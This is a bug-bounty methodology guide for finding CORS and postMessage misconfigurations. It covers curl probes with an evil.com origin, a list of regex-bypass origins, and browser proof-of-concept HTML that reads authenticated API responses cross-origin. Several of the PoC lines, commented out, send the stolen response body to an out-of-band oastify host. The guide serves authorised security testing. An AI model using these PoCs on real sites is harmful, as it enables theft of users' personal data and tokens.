HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration

What actually pays (and what does not)

CORS pays High only when an attacker-controlled origin can perform a credentialed cross-origin read of sensitive authenticated data, and you have a browser PoC proving the response body is readable from evil.com.

Two hard browser rules that kill most "findings" — check these FIRST:

• *`Access-Control-Allow-Origin: ` CANNOT be combined with credentials.**

If the server returns ACAO: *, the browser refuses to send/expose the response for a credentials: include request. A wildcard-only endpoint is not credential-exploitable. It is only interesting if the data it serves is sensitive without a session (rare) — usually this is Informational/Low.

• `Access-Control-Allow-Credentials: true` is meaningless on its own. It

matters only if ACAO reflects/allows your specific attacker origin AND a cross-origin credentialed fetch actually returns a readable body. ACAC on a response that does not reflect your origin proves nothing.

If you cannot demonstrate a readable cross-origin authed body in a real browser, you do not have a High. Do not submit header-diffing alone.

Crown Jewel Targets

• Reflect-any-origin + credentials — server echoes the Origin header AND

sets ACAC: true → any site reads authed API responses. The classic High.

• Null-origin trust — ACAO: null + ACAC: true. A sandbox iframe (or a

data:/redirect chain) emits Origin: null, so any page can read authed data.

• Subdomain-regex bypass — trusted-origin regex with a parsing flaw. The

correct payload depends on which flaw (see Phase 3 — this is where most skills get it wrong).

• Subdomain takeover → trusted origin — a dangling subdomain that the CORS

policy trusts; take it over, host the PoC there (see hunt-subdomain).

• postMessage missing/loose origin check — handler that processes

event.data without strictly validating event.origin.

Attack Surface Signals

Any endpoint returning an Access-Control-Allow-Origin header
API endpoints:   /api/*, /v1/*, /graphql
Profile/account: /api/me, /api/profile, /api/user, /api/session
Secrets/tokens:  /api/tokens, /api/keys, /api/csrf, /api/account/settings
Financial:       /api/balance, /api/transactions
Admin/internal:  /api/admin/*, /api/internal/*

Prioritize endpoints that (a) require a session cookie and (b) return PII, tokens, CSRF tokens, or other secrets in the body.

Step-by-Step Hunting Methodology

Phase 1 — Discover CORS endpoints

# Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,
# and -I sends HEAD which may be handled differently.
while read url; do
  result=$(curl -s -D - -o /dev/null "$url" \
    -H "Origin: https://evil.com" \
    -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
  [ -n "$result" ] && echo "=== $url ===" && echo "$result"
done < recon/$TARGET/api-endpoints.txt

# httpx bulk check
cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \
  httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin"

Phase 2 — Reflect-any-origin + null origin

# Does the server reflect an arbitrary Origin back?
curl -s -D - -o /dev/null https://$TARGET/api/me \
  -H "Origin: https://evil.com" \
  -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"

# Vulnerable (the High case):
#   Access-Control-Allow-Origin: https://evil.com   <- reflects attacker origin
#   Access-Control-Allow-Credentials: true          <- + credentials => readable
#
# NOT exploitable for credentialed theft:
#   Access-Control-Allow-Origin: *                   <- browser blocks creds read
#   (no ACAC, or ACAC absent)                        <- not credentialed

# Null-origin trust
curl -s -D - -o /dev/null https://$TARGET/api/me \
  -H "Origin: null" \
  -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Looking for:  Access-Control-Allow-Origin: null  +  ACAC: true

Phase 3 — Subdomain / trusted-origin regex bypass

The right payload depends on which regex flaw the server has. Identify the class first, then send the matching payload. Getting this wrong wastes the test and produces false negatives.

# Send each class-specific payload and watch what the server reflects.
for ORIGIN in \
  "https://evil.target.com" \
  "https://eviltarget.com" \
  "https://x.target.com.evil.com" \
  "https://target.com.evil.com" \
  "https://target.com%60.evil.com" \
  "http://target.com"; do
  RESULT=$(curl -s -D - -o /dev/null "https://$TARGET/api/me" \
    -H "Origin: $ORIGIN" \
    -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
  echo "[$ORIGIN] -> ${RESULT:-no CORS}"
done

A bypass is real only if the server reflects your registerable origin into ACAO with ACAC: true. evil.target.com reflecting back is NOT a bug unless you can actually control a *.target.com host (then see Phase 6 / hunt-subdomain).

Phase 4 — Pre-flight (OPTIONS) gating bypass

Non-simple requests (custom headers, PUT/DELETE/PATCH, non-simple Content-Type) trigger a CORS pre-flight OPTIONS. The browser only sends the real request if the pre-flight response authorizes the method/header. Two things to test:

1. Does the pre-flight authorize arbitrary methods/headers for your origin?

If Access-Control-Allow-Methods / Access-Control-Allow-Headers reflect whatever you ask for, a malicious origin can drive state-changing requests (chain to CSRF-style writes that JSON/SameSite would otherwise block).

curl -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: x-custom-auth, content-type" \
  | grep -i "access-control"
# Vulnerable: ACAO reflects evil.com + ACAC:true +
#   Access-Control-Allow-Methods: PUT  +  Access-Control-Allow-Headers: x-custom-auth
# => attacker origin can issue authed PUT/DELETE with custom headers.

1. Is the pre-flight even enforced server-side? Some servers reflect the

origin on OPTIONS but the actual GET/POST also reflects — the read path is the bug; the pre-flight just confirms write-path reach. Test the GET/POST directly too — never assume the pre-flight result equals the real-request result. Confirm in a browser, because curl ignores CORS entirely.

Phase 5 — Browser PoCs (the only thing that proves impact)

curl does NOT enforce CORS — it will happily show you a reflected header even when a browser would block the read. Every CORS High needs a browser PoC.

5a. Reflect-any-origin read (host on evil.com, open while logged into target):

<!doctype html><body><pre id="out"></pre>
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
  .then(r => r.text())
  .then(d => {
    document.getElementById("out").innerText = d;        // prove readable body
    // OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d));
  })
  .catch(e => document.getElementById("out").innerText = "BLOCKED: " + e);
</script></body>

If you see BLOCKED / a TypeError, the browser refused the read — it is NOT a valid finding regardless of what curl showed (this is the ACAO: * + creds case).

5b. Null-origin read — a sandbox iframe sends Origin: null. The inner document must lack allow-same-origin so its origin is opaque (null):

<!doctype html><body>
<!-- Outer page hosted anywhere -->
<iframe sandbox="allow-scripts" srcdoc='
  <script>
    fetch("https://TARGET/api/me", {credentials: "include"})
      .then(r => r.text())
      .then(d => parent.postMessage(d, "*"));
  &lt;/script&gt;'></iframe>
<script>
window.addEventListener("message", e => {
  // d is the authed body, read cross-origin via a null Origin
  // fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data));
  console.log("NULL-ORIGIN READ:", e.data);
});
</script></body>

(Alternative null-origin emitters: a data: / blob: document, or bouncing the request through a 302 redirect chain whose final hop is cross-scheme.)

5c. Trusted-subdomain read — once you control a host that the regex trusts (real subdomain via takeover, or a registerable origin that matches a buggy regex from Phase 3), host 5a there. The reflected origin is now an origin you legitimately serve, so the browser allows the read.

Phase 6 — postMessage origin check

# Find message handlers that don't strictly validate event.origin.
grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \
  | grep -v "\.origin"
# Then audit each hit: does it check event.origin against an allowlist
# BEFORE using event.data? Weak checks to flag:
#   .indexOf("target.com") > -1      <- "target.com.evil.com" passes
#   .endsWith("target.com")          <- "eviltarget.com" passes
#   startsWith("https://target")     <- "https://target.evil.com" passes
#   no check at all

postMessage is a separate class from HTTP CORS — impact is DOM-side (XSS, client-side auth bypass). See hunt-dom for exploitation depth.

Automation (triage only — never the proof)

# corsy — fast reflection/null/pre-domain checks
pip3 install corsy
corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"

# nuclei CORS templates
nuclei -u https://$TARGET -t http/misconfiguration/cors/

# Burp: passively flags origin reflection; always re-confirm in a real browser.

Every automated hit is a lead, not a finding. Reproduce 5a/5b in a browser.

Chain Table

Validation discipline (read before submitting)

• Browser proof mandatory. curl reflecting a header is NOT exploitation.

Show a screenshot/console log of the authed body read from evil.com. If the fetch throws / logs BLOCKED, you have nothing.

• *`ACAO: ` + credentials = not a finding.** Browsers block it. Only pursue

wildcard if the data is sensitive unauthenticated (then it is usually Low).

• `ACAC: true` alone proves nothing — it must pair with your reflected

origin AND a successful readable cross-origin body.

• Match the regex class to the payload (Phase 3). Do not submit

target.com.evil.com against an end-anchored escaped-dot regex — it does not match and is not a bug.

• `evil.target.com` reflecting is not automatically a bug — it is an

in-scope subdomain by design unless you can actually control it.

• OOB confirmation for blind/headless contexts: exfil the read body to a

Burp Collaborator / oastify host and show the interaction. Use a unique per-test marker so the hit is unambiguously yours.

• Sensitive data requirement. A readable /api/health is not High. Tie the

read to PII, tokens, secrets, or financial data to justify severity.

Severity:

• Reflects attacker origin + creds + sensitive body, browser-proven: High
• Pre-flight authorizes attacker-origin state change on sensitive action: High
• Null-origin + sensitive authed body, browser-proven: Medium–High
• Subdomain-takeover/XSS-assisted credentialed read: High/Critical
• Reflects origin, no credentials / non-sensitive: Low–Informational
• ACAO: * only (no creds possible): Informational unless data is secret